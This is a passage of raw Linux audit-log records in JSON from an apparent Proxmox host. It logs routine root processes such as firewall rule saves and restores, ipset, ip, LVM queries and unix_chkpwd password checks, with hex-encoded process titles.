proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964665155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.155:62061): arch=c000003e syscall=59 success=yes exit=0 a0=560292299ac8 a1=7ffc3f87df30 a2=5602b5004680 a3=56029227d24e items=2 ppid=59535 pid=59537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166053,"@rawstring":"node=pve type=PATH msg=audit(1781966166.053:68721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.423:65514): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.154:62060): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3f87def0 a1=5602b50261c0 a2=5602b5004680 a3=5 items=2 ppid=59535 pid=59536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166053,"@rawstring":"node=pve type=PATH msg=audit(1781966166.053:68721): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.418:65513): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964665149,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.149:62058): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59535 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166048,"@rawstring":"node=pve type=PATH msg=audit(1781966166.048:68720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415413,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.413:65512): proctitle=697073657400726573746F7265"} {"@timestamp":1781964665143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.143:62057): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59534 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166048,"@rawstring":"node=pve type=PATH msg=audit(1781966166.048:68720): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.405:65511): proctitle=\"ip6tables-save\""} {"@timestamp":1781964665137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.137:62056): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc138900 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166041,"@rawstring":"node=pve type=PATH msg=audit(1781966166.041:68719): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415398,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.398:65510): proctitle=\"iptables-save\""} {"@timestamp":1781964665131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.131:62055): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166041,"@rawstring":"node=pve type=PATH msg=audit(1781966166.041:68719): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.395:65509): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964665125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.125:62054): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166034,"@rawstring":"node=pve type=PATH msg=audit(1781966166.034:68718): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415391,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.391:65508): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964665122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.122:62053): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e746866a740 items=0 ppid=1156 pid=59530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966166034,"@rawstring":"node=pve type=PATH msg=audit(1781966166.034:68718): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.389:65507): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964665120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.120:62052): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13af60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166026,"@rawstring":"node=pve type=PATH msg=audit(1781966166.026:68717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.389:65506): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964665115,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.115:62051): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149c80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166026,"@rawstring":"node=pve type=PATH msg=audit(1781966166.026:68717): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.385:65505): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964665110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.110:62050): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc149e20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166018,"@rawstring":"node=pve type=PATH msg=audit(1781966166.018:68716): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.378:65504): proctitle=\"ip6tables-save\""} {"@timestamp":1781964665105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.105:62049): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecaf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166018,"@rawstring":"node=pve type=PATH msg=audit(1781966166.018:68716): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.370:65503): proctitle=\"iptables-save\""} {"@timestamp":1781964665100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.100:62048): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149e20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166013,"@rawstring":"node=pve type=PATH msg=audit(1781966166.013:68715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.364:65502): proctitle=69707365740073617665"} {"@timestamp":1781964665095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.095:62047): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbba46a40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166013,"@rawstring":"node=pve type=PATH msg=audit(1781966166.013:68715): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.356:65501): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964665089,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.089:62046): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166009,"@rawstring":"node=pve type=PATH msg=audit(1781966166.009:68714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965415348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965415.348:65500): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964665083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.083:62045): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166009,"@rawstring":"node=pve type=PATH msg=audit(1781966166.009:68714): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965414094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965414.094:65499): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964665079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.079:62044): arch=c000003e syscall=59 success=yes exit=0 a0=588b20c19b20 a1=588b20c25e00 a2=588b20bf3680 a3=5 items=2 ppid=59516 pid=59522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=PATH msg=audit(1781966166.008:68713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965414073,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965414.073:65498): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964665077,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.077:62043): arch=c000003e syscall=59 success=yes exit=0 a0=588b0f387ac8 a1=7ffd160590a0 a2=588b20bf3680 a3=588b0f36b24e items=2 ppid=59516 pid=59518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=PATH msg=audit(1781966166.008:68713): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965412.918:65497): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.076:62042): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd16059060 a1=588b20c151c0 a2=588b20bf3680 a3=5 items=2 ppid=59516 pid=59517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=PATH msg=audit(1781966166.008:68712): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965412.918:65496): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665071,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.071:62040): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166003,"@rawstring":"node=pve type=PATH msg=audit(1781966166.003:68711): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965412.918:65495): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665065,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.065:62039): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166003,"@rawstring":"node=pve type=PATH msg=audit(1781966166.003:68711): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965412.906:65494): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.058:62038): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166003,"@rawstring":"node=pve type=PATH msg=audit(1781966166.003:68711): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965412.906:65493): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.054:62037): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165995,"@rawstring":"node=pve type=PATH msg=audit(1781966165.995:68710): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965412.906:65492): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.048:62036): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165995,"@rawstring":"node=pve type=PATH msg=audit(1781966165.995:68710): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965407899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965407.899:65490): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964665042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964665.042:62035): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d8c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165988,"@rawstring":"node=pve type=PATH msg=audit(1781966165.988:68709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965407898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965407.898:65489): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964664578,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964664.578:62034): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73addc0 a1=64f8d740d730 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165988,"@rawstring":"node=pve type=PATH msg=audit(1781966165.988:68709): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965407898,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965407.898:65488): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964664547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964664.547:62033): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b1160 a1=64f8d514f5c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165981,"@rawstring":"node=pve type=PATH msg=audit(1781966165.981:68708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965407.893:65487): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964664130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964664.130:62031): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=757077043da6 a2=80000 a3=0 items=1 ppid=1215 pid=59506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966165981,"@rawstring":"node=pve type=PATH msg=audit(1781966165.981:68708): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965407.893:65486): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964664128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964664.128:62030): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1215 pid=59506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781966165972,"@rawstring":"node=pve type=PATH msg=audit(1781966165.972:68707): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965407.893:65485): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964664091,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964664.091:62029): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=714bcb5a7da6 a2=80000 a3=0 items=1 ppid=1215 pid=59505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781966165972,"@rawstring":"node=pve type=PATH msg=audit(1781966165.972:68707): item=0 name=\"/sbin/ip\" inode=260771 